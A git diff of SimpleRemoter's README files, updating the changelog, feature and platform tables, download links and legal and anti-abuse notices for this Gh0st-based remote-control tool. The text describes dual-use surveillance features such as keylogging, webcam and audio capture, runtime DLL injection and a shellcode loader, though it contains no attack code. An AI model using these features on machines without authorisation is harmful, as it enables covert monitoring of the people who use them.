|------|------|------|
|
|
||||||
| 远程桌面 | ✅ | CoreGraphics 屏幕捕获,VideoToolbox H.264 硬件编码 |
|
|
||||||
| 鼠标控制 | ✅ | CGEvent 模拟,支持双击、拖拽 |
|
|
||||||
| 键盘控制 | ✅ | CGEvent 模拟,完整键码映射 |
|
|
||||||
| 光标同步 | ✅ | 实时同步远程光标样式 |
|
|
||||||
| 远程终端 | ✅ | PTY 交互式 Shell(zsh/bash) |
|
|
||||||
| 文件管理 | ✅ | 双向传输、V2 协议、大文件支持 |
|
|
||||||
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
|
||||||
| 分组管理 | ✅ | 持久化配置文件 |
|
|
||||||
| 进程管理 | ⏳ | 开发中 |
|
|
||||||
| 剪贴板 | ⏳ | 开发中 |
|
|
||||||
|
|
||||||
**编译方式**:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd macos
|
|
||||||
./build.sh
|
|
||||||
# 或手动编译:
|
|
||||||
# mkdir build && cd build && cmake .. && make
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 更新日志
|
## 更新日志
|
||||||
|
|
||||||
### v1.3.3 (2026.5.10)
|
### v1.3.5 (2026.5.31)
|
||||||
|
|
||||||
**Linux/macOS 客户端深化 & 双层认证安全 & 跨平台共享代码重构**
|
**硬件编码扩展(H.264 / AV1)& 多客户许可证生产化 & FRP 子级自动化**
|
||||||
|
|
||||||
**新功能:**
|
**新功能:**
|
||||||
- **服务端身份校验(Layer 1)**:Linux/macOS 客户端 HMAC-SHA256 校验服务端身份,未授权服务端无法触发任何子连接
|
- **客户端硬件编码**:新增 FFmpeg 路径的 `CFFmpegH264Encoder` / `CFFmpegAV1Encoder`,可调用 NVENC / Quick Sync / AMF 等 GPU 编码器;`EncoderFactory` 运行时自动优选
|
||||||
- **子连接认证(Layer 2,TOKEN_CONN_AUTH)**:所有子连接首包签名 + clientID 钉死,解决 NAT/127.0.0.1 路由错位
|
- **静屏跳编码**:捕获层比对前后帧,完全相同时跳过编码与传输——硬件编码器在静屏不再被强行喂入相同帧
|
||||||
- **Linux 客户端**:H.264 硬件编码(动态加载 libx264)、XFixes 光标类型检测、UTF-8 协议能力位
|
- **菜单驱动的压缩 / 解压**:自定义文件 + 文件夹选择器(`ZstaPickerDlg`),可从远程主机直接选混合目录树打包或解压到目标路径
|
||||||
- **macOS 客户端**:文件管理器、远程终端(共享 PTYHandler)、剪贴板同步、守护进程模式 (-d)、电源管理、屏幕锁定/空闲检测、CGDisplayStream 推送模式优化
|
- **下级主控自动起 frp client**:上级签发 V2 授权时一并下发 frp 配置,子级主控启动即接通中继链路,无需人工配 `frpc.toml`
|
||||||
- **主控**:屏幕预览缩略图、区域截图、远程桌面缩放、Web 用户按组过滤、嵌入式现代终端、自适应屏幕算法、外部资源覆盖、分组持久化、Build Dialog 支持生成 macOS 客户端
|
- **合规可裁剪构建**:`DISABLE_X264` / `DISABLE_FFMPEG` 编译开关,可在不动源码的前提下产出完全不带 x264 / FFmpeg 的二进制,配套 `LICENSE-THIRD-PARTY.txt`
|
||||||
|
|
||||||
**重构:**
|
|
||||||
- Linux/macOS 客户端共享代码抽到 `common/`(rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread),减少 ~300 行重复
|
|
||||||
|
|
||||||
**改进:**
|
**改进:**
|
||||||
- 现代终端 SYSTEM 兼容:自动回退到经典终端,信息列表给出精确原因
|
- **多客户许可证服务端硬化**:`licenses.ini` hot-path 互斥锁 + 30s 节流,写频从 0.6 → 0.07 次/秒(外推 100 在线:~160 → ~3.3 次/秒);闭环了"预设续期配额消失"的 read-modify-write 竞态
|
||||||
- `build.ps1` 增加 `vswhere` 兜底(VS 装非默认盘也能找到)
|
- **`licenses.ini` IP 列表 4KB 截断修复**:分段写入避免溢出尾部被永久丢弃
|
||||||
- 强制 `/source-charset:utf-8 /execution-charset:.936` 解决英语 Windows 编译中文乱码
|
- **导入 SN 按 `BindType` 严格校验**:避免离线版 / 在线版 / 试用版 SN 串库
|
||||||
- macOS `install.sh` 源 binary 优先级优化(命令行 → 同目录 → build/bin),适配分发场景
|
- **客户端 SCLoader 大瘦身**:移除一万行硬编码 stub(`SCLoader.cpp`),改用主控运行时下发 DLL 注入
|
||||||
|
- **客户端 logger 优雅退出**:进程退出刷出队列里的日志并记录退出信号
|
||||||
|
- **IOCPClient 早期数据包防护**:`setManagerCallBack` 之前抵达的包不再触发空回调崩溃
|
||||||
|
- **多显示器光标位置修正 & MJPEG 录制翻转修复**:trace cursor 跨屏坐标系修正;MJPEG 上下颠倒回放修正 + 编码失败 0 字节 AVI 残留清理
|
||||||
|
- **FRP `privilegeKey` 改用 UTC 时间戳**:跨时区主控 / 中继 / 客户端不再因本地时区让 frp auth 失效
|
||||||
|
- **Linux 客户端 `install.sh` / `uninstall.sh`**:补齐一键部署 / 卸载脚本
|
||||||
|
- **Go 服务端构建管线**:`build.ps1` / `build.cmd` 把 Go 主控纳入主构建
|
||||||
|
- **Release / Download 链接全量迁移到 Gitea**:v1.3.4+ 不再发到 GitHub
|
||||||
|
|
||||||
**Bug 修复:**
|
**Bug 修复:**
|
||||||
- V2 文件传输在文件管理器对话框双向均损坏(上传 IP 路由错乱 + 下载 chunk 未分发)
|
- Web 文件管理触屏双击不稳:触摸阈值放宽防误判拖拽 + 两次 `click` 模拟物理双击;修复跨平台文件夹重命名 / 点击无响应
|
||||||
- 现代终端在 SYSTEM 权限下空白(WebView2 不支持 LocalSystem)
|
- 向 sub-master 发送 AUTH 时密码生成路径错误,下级始终认证失败
|
||||||
- Linux 客户端 UTF-8 路径/活动窗口在服务端乱码
|
- 试用 SN 误进入 V2 / V1 授权下发分支
|
||||||
- 日志列表表头点击错排序到主机列表
|
|
||||||
- LVM_SETUNICODEFORMAT 后表头排序失效(补充 HDN_ITEMCLICKW 映射)
|
### v1.3.4 (2026.5.20)
|
||||||
- 服务+代理 Release 模式托盘图标不显示
|
|
||||||
- macOS/Linux 客户端分组变更后未重发 LOGIN_INFOR
|
**Go 主控 & 全平台主控闭环 & Linux/macOS 客户端剪贴板**
|
||||||
- 文件对话框 map 野指针崩溃
|
|
||||||
- 重连时未清回调导致访问已销毁 handler 崩溃
|
**新功能:**
|
||||||
- MFC 与 Web 远程桌面会话未完全独立
|
- **Go 主控**:Go 语言实现的跨平台轻量主控服务(Windows / Linux / macOS),聚焦于"远程桌面 + 远程终端 + 多用户分级"——不替代 MFC 主控,为需要纯 Linux/macOS 落地的运维场景兜底
|
||||||
- macOS 锁屏状态远程桌面启动时未唤醒显示器
|
- **Web 远程桌面(Go 主控)**:H.264 → WebSocket → WebCodecs 解码、1080P @ 20fps、桌面 + 移动端全适配;远程光标同步、Keyboard Lock 防 ESC/F11 误退、控制态下 F11/Esc 直传目标
|
||||||
- MFC 远程桌面触控板双指滚动失效
|
- **Web 远程终端(Go 主控)**:xterm.js + PTY/ConPTY 透明转发、调整尺寸、断开自动清理面板
|
||||||
|
- **多用户体系(Go 主控)**:管理员/普通用户分级、按设备组授权、Challenge-Response 登录、登录限流(IP + 用户名)、不透明 token
|
||||||
|
- **Linux 客户端剪贴板**:基于 xclip / xsel 的双向剪贴板同步,支持 `text/uri-list` 文件路径
|
||||||
|
- **macOS 客户端剪贴板**:基于 NSPasteboard 的双向剪贴板同步,文件 URL + 旧版 API 兼容
|
||||||
|
|
||||||
|
**改进:**
|
||||||
|
- Web 会话自适应质量被 clamp 到 H264-only 等级(≥ Good),避免 Ultra/High(DIFF/RGB565)让浏览器无法解码
|
||||||
|
- Linux 客户端默认 `QualityLevel` 改为 `QUALITY_GOOD`(对齐 Windows/macOS),不再请求服务端自适应
|
||||||
|
- 登录文本字段按客户端能力位条件解码 UTF-8 / GBK,修正德文/法文等带变音符的主机名 / 地理位置乱码
|
||||||
|
- 设备列表稳定排序(按上线时间),避免每次心跳 / WS 推送都洗牌
|
||||||
|
- RDP 重置按钮接通到设备端 `CMD_RESTORE_CONSOLE`
|
||||||
|
- MFC 主控开启 Web 远控会话时不再短暂闪一下窗口(OnInitDialog 会话判定上移)
|
||||||
|
|
||||||
|
**Bug 修复:**
|
||||||
|
- Web 会话从全屏点关闭后设备列表点击失灵(fullscreen 子树规则,`showPage` 统一退全屏)
|
||||||
|
- 客户端突然断开后 Web 远控页面停留在 "Connected" 永不刷新(新增 `device_offline` 通知)
|
||||||
|
- 多显示器轮询导致两路屏幕子连接同时灌帧,画面在两个显示器间跳变(`BindScreenConn` 退役旧 sub-conn)
|
||||||
|
- Go 主控 `ListDevices` 因 map 迭代随机化导致列表乱序
|
||||||
|
|
||||||
|
### v1.3.3 (2026.5.10)
|
||||||
|
|
||||||
|
**Linux/macOS 客户端深化 & 双层认证安全**
|
||||||
|
|
||||||
|
- 服务端身份校验(Layer 1):Linux/macOS 客户端 HMAC-SHA256 校验服务端身份
|
||||||
|
- 子连接认证(Layer 2,TOKEN_CONN_AUTH):所有子连接首包签名 + clientID 钉死
|
||||||
|
- Linux 客户端:H.264 硬件编码、XFixes 光标类型检测、UTF-8 协议能力位
|
||||||
|
- macOS 客户端:文件管理器、远程终端、剪贴板同步、守护进程模式
|
||||||
|
- 主控:屏幕预览缩略图、区域截图、远程桌面缩放、Web 用户按组过滤
|
||||||
|
- 共享代码抽到 `common/`(rtt_estimator / client_auth_state / posix_net_helpers)
|
||||||
|
|
||||||
### v1.3.2 (2026.5.1)
|
### v1.3.2 (2026.5.1)
|
||||||
|
|
||||||
**macOS 客户端 & Web 远程桌面增强**
|
**macOS 客户端 & Web 远程桌面增强**
|
||||||
|
|
||||||
**新功能:**
|
- 全新 macOS 原生客户端:屏幕捕获、H.264 编码、键鼠控制
|
||||||
- macOS 客户端支持:全新实现的 macOS 原生客户端,支持屏幕捕获、H.264 编码、键鼠控制、系统权限管理
|
- Web 远程桌面光标同步
|
||||||
- Web 远程桌面光标同步:浏览器端实时显示远程主机光标样式
|
- 触发器功能、用户管理(角色权限)
|
||||||
- 触发器功能:支持主机上线事件触发自定义操作
|
- DLL 执行增强、远程桌面输入法切换
|
||||||
- 用户管理功能:新增角色权限管理,支持多用户分级控制
|
|
||||||
- DLL 执行增强:参数持久化存储、支持自动运行配置
|
|
||||||
- 远程桌面输入法切换:支持远程切换被控端输入语言
|
|
||||||
|
|
||||||
**改进:**
|
|
||||||
- Web 远程桌面手势优化:改进双指手势识别、双击拖拽、Shift 组合键支持
|
|
||||||
|
|
||||||
**Bug 修复:**
|
|
||||||
- 修复 Web 远程桌面在 macOS 客户端上双击无法打开文件的问题
|
|
||||||
- 修复 macOS 完全磁盘访问权限检测不准确的问题
|
|
||||||
- 修复 RestoreMemDLL 因 DLL 信息大小错误导致还原失败
|
|
||||||
- 修复多个 DLL 同时执行可能因全局变量冲突而失败
|
|
||||||
- 修复鼠标双击和远程桌面切换问题
|
|
||||||
- 修复 Linux 客户端编译缺少 libzstd.a 的问题
|
|
||||||
|
|
||||||
### v1.3.1 (2026.4.15)
|
### v1.3.1 (2026.4.15)
|
||||||
|
|
||||||
**Web 远程桌面 & 多主控共享增强**
|
**Web 远程桌面(MFC 主控) & 多主控共享增强**
|
||||||
|
|
||||||
**新功能:**
|
- Web 远程桌面:基于 WebSocket 实现,手机/平板浏览器访问
|
||||||
- Web 远程桌面:基于 WebSocket 实现,支持手机/平板通过浏览器访问远程桌面([配置指南](./docs/WebHTTPS.md))
|
- 多显示器禁用自适应、状态栏过期日期自动更新
|
||||||
- 撤销共享菜单:支持撤销已共享给其他主控的客户端
|
- 多层授权自动更新、DLL 缓存复用
|
||||||
- 工具栏音频控制:远程桌面工具栏新增系统音频开关图标
|
|
||||||
|
|
||||||
**改进:**
|
|
||||||
- 多显示器禁用自适应:客户端有多个显示器时自动禁用自适应质量
|
|
||||||
- 状态栏过期日期自动更新:授权续期后状态栏立即刷新
|
|
||||||
- 减少无效离线日志:客户端不在主机列表时减少离线日志输出
|
|
||||||
- 多层授权自动更新:第二层及以下主控的授权自动同步更新
|
|
||||||
- 使用提示增强:新增多处操作提示改善用户体验
|
|
||||||
- DLL 缓存复用:将 DLL 保存到注册表,下次启动时直接复用
|
|
||||||
|
|
||||||
**Bug 修复:**
|
|
||||||
- 修复共享客户端时键盘记录可能无法正常工作的问题
|
|
||||||
|
|
||||||
### v1.3.0 (2026.4.8)
|
### v1.3.0 (2026.4.8)
|
||||||
|
|
||||||
**多层级 FRP 架构 & 品牌定制**
|
**多层级 FRP 架构 & 品牌定制**
|
||||||
|
|
||||||
**新功能:**
|
- 本地 FRPS 服务器、多层级架构自动 FRP 集成
|
||||||
- 本地 FRPS 服务器支持(仅 64 位):内置 FRP 服务端,简化部署
|
- V2 授权下级连接数限制、许可证文件导入/导出
|
||||||
- 多层级架构自动 FRP 集成:下级主控自动获取上级 FRP 配置
|
- 增强型硬件 ID (V2)、UI 品牌定制
|
||||||
- V2 授权下级连接数限制:支持控制下级并发连接数
|
- 运行时功能限制可配置
|
||||||
- 许可证文件导入/导出支持(.lic 格式)
|
|
||||||
- 过期授权续期支持:无需重新生成许可证
|
|
||||||
- 增强型硬件 ID (V2):解决 VPS 重复 SN 问题
|
|
||||||
- MaxDepth 控制:限制分级 Master 层级深度
|
|
||||||
- 许可证管理增强:配额支持、动态对话框、删除功能
|
|
||||||
- IP 定位 API 多提供商回退:提高定位成功率
|
|
||||||
- UI 品牌定制:支持自定义程序名称、Logo、版权等
|
|
||||||
- 运行时功能限制:试用版功能限制可配置
|
|
||||||
- 输入历史下拉框:快速选择历史输入
|
|
||||||
- 生成客户端新增选项:更多自定义配置
|
|
||||||
- 支持动态修改项目链接:无需重新编译更换帮助/反馈链接
|
|
||||||
|
|
||||||
**Bug 修复:**
|
### 更早版本
|
||||||
- 修复 RebuildFilteredIndices 的 Use-after-free 崩溃
|
|
||||||
- 修复 CLock::Lock 中 IOCP 竞态条件崩溃 (#215)
|
|
||||||
- 修复崩溃保护服务清理和代理提升问题
|
|
||||||
- 修复消息日志无限增长导致的潜在崩溃
|
|
||||||
- 修复 FeatureFlags 引入后 UpperHash 字符串长度问题
|
|
||||||
- 修复客户端 SN 生成以支持 HWIDVersion 设置
|
|
||||||
|
|
||||||
**改进:**
|
v1.2.x 系列(邮件通知、远程音频 Opus、V2 授权协议、V2 文件传输、现代 Web 终端 xterm.js、远程桌面工具栏重写、自适应质量控制、Linux 客户端初版……)及 2019 年以来的全部演进,请见 [history.md](./history.md)。
|
||||||
- 重构 res/ 目录结构,添加菜单图标
|
|
||||||
- 过期密码不再被自动清除
|
|
||||||
- 保持下级主控与第一层主控的连接稳定
|
|
||||||
|
|
||||||
### v1.0.2.9 (2026.3.27)
|
|
||||||
|
|
||||||
**网络安全 & 稳定性增强**
|
|
||||||
|
|
||||||
**新功能:**
|
|
||||||
- 网络配置对话框:IP 白名单/黑名单管理,实时生效
|
|
||||||
- 可配置的连接限流:DLL 请求限流、IP 封禁阈值可调
|
|
||||||
- IP 历史记录对话框:查看授权 IP 登录历史
|
|
||||||
- 状态栏显示 MTBF/运行时间和授权到期日期
|
|
||||||
- 代理崩溃保护:5 分钟内 3 次崩溃自动切换普通模式
|
|
||||||
- 客户端搜索功能:Ctrl+F 快速搜索 IP、位置、计算机名
|
|
||||||
- 自动封禁异常 IP:60 秒内超过 15 次连接自动封禁 1 小时
|
|
||||||
- Proxy Protocol v2 支持:FRP 代理后获取真实客户端 IP
|
|
||||||
- Linux 剪贴板同步和 V2 文件传输支持
|
|
||||||
- 右键菜单运行客户端程序
|
|
||||||
- 多层授权混淆支持
|
|
||||||
|
|
||||||
**Bug 修复:**
|
|
||||||
- 修复 OnUserOfflineMsg 竞态条件导致的崩溃
|
|
||||||
- 修复客户端请求 FRPC DLL 时 FrpcParam 丢失
|
|
||||||
- 最大数据包从 10MB 增加到 50MB
|
|
||||||
- 支持 mstsc 远程会话读取用户注册表
|
|
||||||
- 修复远程桌面最小化时剪贴板误触发
|
|
||||||
- 修复操作进程对话框时主控崩溃
|
|
||||||
- 状态栏主机数量实时更新
|
|
||||||
- Linux select() 调用前重置 timeval
|
|
||||||
- 授权码格式验证,过滤垃圾数据
|
|
||||||
|
|
||||||
**改进:**
|
|
||||||
- 增强授权检查,添加 IP 封禁提示
|
|
||||||
- 支持主控程序以用户权限运行
|
|
||||||
- 大 DLL 自动使用 TinyRun 回退方案
|
|
||||||
|
|
||||||
### v1.2.8 (2026.3.11)
|
|
||||||
|
|
||||||
**邮件通知 & 远程音频**
|
|
||||||
|
|
||||||
- 主机上线邮件通知(SMTP 配置、关键词匹配、右键快捷添加)
|
|
||||||
- 远程音频播放(WASAPI Loopback)+ Opus 压缩(24:1)
|
|
||||||
- 多 FRPS 服务器同时连接支持
|
|
||||||
- 自定义光标显示和追踪
|
|
||||||
- V2 授权协议(ECDSA 签名)
|
|
||||||
- 修复非中文 Windows 系统乱码问题
|
|
||||||
- Linux 客户端屏幕压缩算法优化
|
|
||||||
|
|
||||||
### v1.2.7 (2026.2.28)
|
|
||||||
|
|
||||||
**V2 文件传输协议**
|
|
||||||
|
|
||||||
- 支持 C2C(客户端到客户端)直接传输
|
|
||||||
- 断点续传和大文件支持(>4GB)
|
|
||||||
- SHA-256 文件完整性校验
|
|
||||||
- WebView2 + xterm.js 现代终端
|
|
||||||
- Linux 文件管理支持
|
|
||||||
- 主机列表批量更新优化,减少 UI 闪烁
|
|
||||||
|
|
||||||
### v1.2.6 (2026.2.16)
|
|
||||||
|
|
||||||
**远程桌面工具栏重写**
|
|
||||||
|
|
||||||
- 状态窗口显示 RTT、帧率、分辨率
|
|
||||||
- 全屏工具栏支持 4 个位置和多显示器
|
|
||||||
- H.264 带宽优化
|
|
||||||
- 授权管理 UI 完善
|
|
||||||
|
|
||||||
### v1.2.5 (2026.2.11)
|
|
||||||
|
|
||||||
**自适应质量控制 & Linux 客户端**
|
|
||||||
|
|
||||||
- 基于 RTT 的智能质量调整
|
|
||||||
- RGB565 算法(节省 50% 带宽)
|
|
||||||
- 滚动检测优化(节省 50-80% 带宽)
|
|
||||||
- Linux 客户端初版发布
|
|
||||||
|
|
||||||
完整更新历史请查看:[history.md](./history.md)
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
831
ReadMe_EN.md
798
ReadMe_TW.md
@@ -9,18 +9,18 @@
|
|||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
||||||
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
||||||
</a>
|
</a>
|
||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
<img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
|
||||||
</a>
|
</a>
|
||||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
|
<img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
|
||||||
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
|
<img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
|
||||||
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
|
<img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
|
||||||
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
<a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
||||||
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
|
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
|
||||||
</a>
|
</a>
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
@@ -29,10 +29,7 @@
|
|||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **重要法律聲明**
|
> **重要法律聲明**
|
||||||
>
|
>
|
||||||
> 本軟件**僅供教育目的及授權使用場景**,包括:
|
> 本軟體**僅供教育目的及授權使用情境**:組織內遠端 IT 管理、經授權的滲透測試與安全研究、個人裝置管理與技術學習。
|
||||||
> - 在您的組織內進行遠端 IT 管理
|
|
||||||
> - 經授權的滲透測試和安全研究
|
|
||||||
> - 個人設備管理和技術學習
|
|
||||||
>
|
>
|
||||||
> **未經授權存取電腦系統屬違法行為。** 使用者須對遵守所有適用法律承擔全部責任。開發者對任何濫用行為概不負責。
|
> **未經授權存取電腦系統屬違法行為。** 使用者須對遵守所有適用法律承擔全部責任。開發者對任何濫用行為概不負責。
|
||||||
|
|
||||||
@@ -41,12 +38,13 @@
|
|||||||
## 目錄
|
## 目錄
|
||||||
|
|
||||||
- [專案簡介](#專案簡介)
|
- [專案簡介](#專案簡介)
|
||||||
- [免責聲明](#免責聲明)
|
- [本版本亮點:全平台閉環](#本版本亮點全平台閉環)
|
||||||
|
- [合規與反濫用](#合規與反濫用)
|
||||||
- [功能特性](#功能特性)
|
- [功能特性](#功能特性)
|
||||||
- [技術亮點](#技術亮點)
|
- [全平台支援](#全平台支援)
|
||||||
- [系統架構](#系統架構)
|
- [系統架構](#系統架構)
|
||||||
- [快速開始](#快速開始)
|
- [快速開始](#快速開始)
|
||||||
- [用戶端支援](#用戶端支援)
|
- [使用者文件](#使用者文件)
|
||||||
- [更新日誌](#更新日誌)
|
- [更新日誌](#更新日誌)
|
||||||
- [相關專案](#相關專案)
|
- [相關專案](#相關專案)
|
||||||
- [聯絡方式](#聯絡方式)
|
- [聯絡方式](#聯絡方式)
|
||||||
@@ -55,25 +53,9 @@
|
|||||||
|
|
||||||
## 專案簡介
|
## 專案簡介
|
||||||
|
|
||||||
**SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux + macOS** 三平台的企業級遠端管理工具。
|
**SimpleRemoter** 是一個端到端跨平台的遠端控制解決方案。
|
||||||
|
|
||||||
### 核心能力
|
專案核心基於經典 **Gh0st 架構**,最早始於 2019 年 1 月。歷經 7 年持續迭代——從 IOCP 通訊核心重構、x264 視訊級編碼、V2 檔案傳輸協定、多層授權體系,到 Linux 與 macOS 用戶端的引入——本版本最終完成**用戶端 + 伺服端的全平台閉環**:三大桌面作業系統(Windows / Linux / macOS)在任一側都可作為受控端或主控端。
|
||||||
|
|
||||||
| 類別 | 功能 |
|
|
||||||
|------|------|
|
|
||||||
| **遠端桌面** | 即時螢幕控制、多顯示器支援、H.264 編碼、自適應品質 |
|
|
||||||
| **檔案管理** | 雙向傳輸、斷點續傳、C2C 傳輸、SHA-256 校驗 |
|
|
||||||
| **終端管理** | 互動式 Shell、ConPTY/PTY 支援、現代 Web 終端 |
|
|
||||||
| **系統管理** | 程序/服務/視窗管理、登錄檔瀏覽、工作階段控制 |
|
|
||||||
| **媒體擷取** | 網路攝影機監控、音訊監聽、鍵盤記錄 |
|
|
||||||
| **網路功能** | SOCKS 代理、FRP 穿透、埠映射 |
|
|
||||||
|
|
||||||
### 適用場景
|
|
||||||
|
|
||||||
- **企業 IT 運維**:批次管理內網設備,遠端故障排查
|
|
||||||
- **遠端辦公**:安全存取辦公電腦,檔案同步傳輸
|
|
||||||
- **安全研究**:滲透測試、紅隊演練、安全稽核
|
|
||||||
- **技術學習**:網路程式設計、IOCP 模型、加密傳輸實踐
|
|
||||||
|
|
||||||
**原始來源:** [zibility/Remote](https://github.com/zibility/Remote) | **起始日期:** 2019.1.1
|
**原始來源:** [zibility/Remote](https://github.com/zibility/Remote) | **起始日期:** 2019.1.1
|
||||||
|
|
||||||
@@ -81,36 +63,73 @@
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 免責聲明
|
## 本版本亮點:全平台閉環
|
||||||
|
|
||||||
**請在使用本軟件前仔細閱讀以下聲明:**
|
本專案長期以 **C++ MFC 主控**(`YAMA.exe`)為核心交付形態——經典 Gh0st 架構、IOCP 高效能核心、完整的遠端桌面 / 檔案 / 程序 / 媒體功能堆疊、多層授權體系、品牌客製化——**至今仍是主要使用的主控**。MFC 主控內建了基於 WebSocket 的 Web 遠端桌面服務,從 v1.3.1 起就已經支援**任意平台的瀏覽器**遠控被管裝置(手機 / 平板 / Linux / macOS 桌面均可)。
|
||||||
|
|
||||||
1. **合法用途**:本專案僅供合法的技術研究、學習交流和授權的遠端管理使用。嚴禁將本軟件用於未經授權存取他人電腦系統、竊取資料、監控他人隱私等任何違法行為。
|
本版本(v1.3.4)補上了最後一塊拼圖——**Go 主控**:一個**功能簡潔、聚焦於「遠端桌面 + 遠端終端 + 多使用者分級」** 的輕量伺服端,跨 Windows / Linux / macOS 編譯執行。它的定位**不是取代 MFC**,而是為那些**不方便執行 Windows VPS** 的使用者提供原生的 Linux / macOS 主控落腳點——例如純 Linux 伺服器、ARM Mac 長駐、嵌入式主控盒等情境。
|
||||||
|
|
||||||
2. **使用者責任**:使用者必須遵守所在國家/地區的法律法規。因使用本軟件而產生的任何法律責任,由使用者自行承擔。
|
### 兩種主控形態如何選擇
|
||||||
|
|
||||||
3. **無擔保聲明**:本軟件按「現狀」提供,不附帶任何明示或暗示的擔保,包括但不限於適銷性、特定用途適用性的擔保。
|
| 形態 | GUI | 功能覆蓋 | 平台 | 定位 |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| **C++ MFC 主控** (`YAMA.exe`) | 原生 Windows GUI + 內建 Web 服務 | ✅ **全部功能** | Windows | **主推方案**。日常運維、檔案管理、媒體擷取、多層授權、品牌客製化等都用它 |
|
||||||
|
| **Go 主控**(新) | Web UI(任何瀏覽器) | 遠端桌面 + 遠端終端 + 多使用者 | Windows / Linux / macOS | **補充方案**。需要「零 Windows 依賴」的純 Linux / macOS 主控部署 |
|
||||||
|
|
||||||
4. **免責條款**:開發者不對因使用、誤用或無法使用本軟件而造成的任何直接、間接、偶然、特殊或後果性損害承擔責任。
|
> [!TIP]
|
||||||
|
> 兩種主控**使用同一套用戶端**——可以混搭,例如一台 Windows MFC 主控 + 一台 Linux Go 主控並行管理同一批裝置群。
|
||||||
|
|
||||||
5. **版權聲明**:本專案採用 MIT 協議開源,允許自由使用、修改和分發,但必須保留原始版權聲明。
|
### Go 主控的核心能力(v1.3.4 新增)
|
||||||
|
|
||||||
**繼續使用本軟件即表示您已閱讀、理解並同意上述所有條款。**
|
- **遠端桌面**:H.264 流透過 WebSocket 直接推送瀏覽器,WebCodecs 硬體解碼,1080P @ 20fps 流暢
|
||||||
|
- **遠端終端**:xterm.js + ConPTY/PTY,支援調整尺寸、Tab 自動補全
|
||||||
|
- **多使用者體系**:管理員 / 一般使用者分級、Challenge-Response 登入、不透明 token、按裝置群授權
|
||||||
|
- **生產部署**:Nginx 反向代理 + Let's Encrypt + Keyboard Lock + 全螢幕控制,防止 ESC / F11 誤退出
|
||||||
|
- **刻意保持輕量**:不包含檔案管理、媒體擷取、登錄檔、服務管理等 MFC 主控專屬功能——這些請走 MFC 主控
|
||||||
|
|
||||||
|
### 全平台支援矩陣
|
||||||
|
|
||||||
|
| | **用戶端 (受控端)** | **主控端** |
|
||||||
|
|---|---|---|
|
||||||
|
| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推薦)/ Go |
|
||||||
|
| **Linux** (X11) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
|
||||||
|
| **macOS** (Intel + Apple Silicon) | ✅ 螢幕 + 終端 + 檔案 + 剪貼簿 | ✅ Go |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 合規與反濫用
|
||||||
|
|
||||||
|
本專案長期堅持「明確的合規姿態」立場。本版本進一步收緊反濫用邊界。
|
||||||
|
|
||||||
|
### 內建技術措施
|
||||||
|
|
||||||
|
原始碼層面構築多道獨立可驗證的反濫用屏障,詳見 [反濫用技術措施清單](./docs/Compliance_TechnicalMeasures.md):
|
||||||
|
|
||||||
|
- **入站連線 IP 區段校驗**:試用版若被部署到公網會觸發可見告警 latch
|
||||||
|
- **監聽埠數量上限**:試用版限制 ≤ 2 個監聽埠,防多租戶中轉改造
|
||||||
|
- **應用層 RTT 反代理**:LAN 內 RTT 閾值偵測,反向代理 / 隧道會被識別
|
||||||
|
- **多層授權架構**:V2 ECDSA 離線 + V1 連線 + 試用版分級,每一層限制獨立
|
||||||
|
- **Web 主控驗證**:強制 Challenge-Response 登入、登入限流、不透明 token、操作可稽核
|
||||||
|
|
||||||
|
### 合規文件
|
||||||
|
|
||||||
|
| 文件 | 內容 |
|
||||||
|
|---|---|
|
||||||
|
| 📖 [反濫用與合規使用政策](./docs/Compliance_AntiAbuse.md) | 完整的發行方-使用方責任劃分 |
|
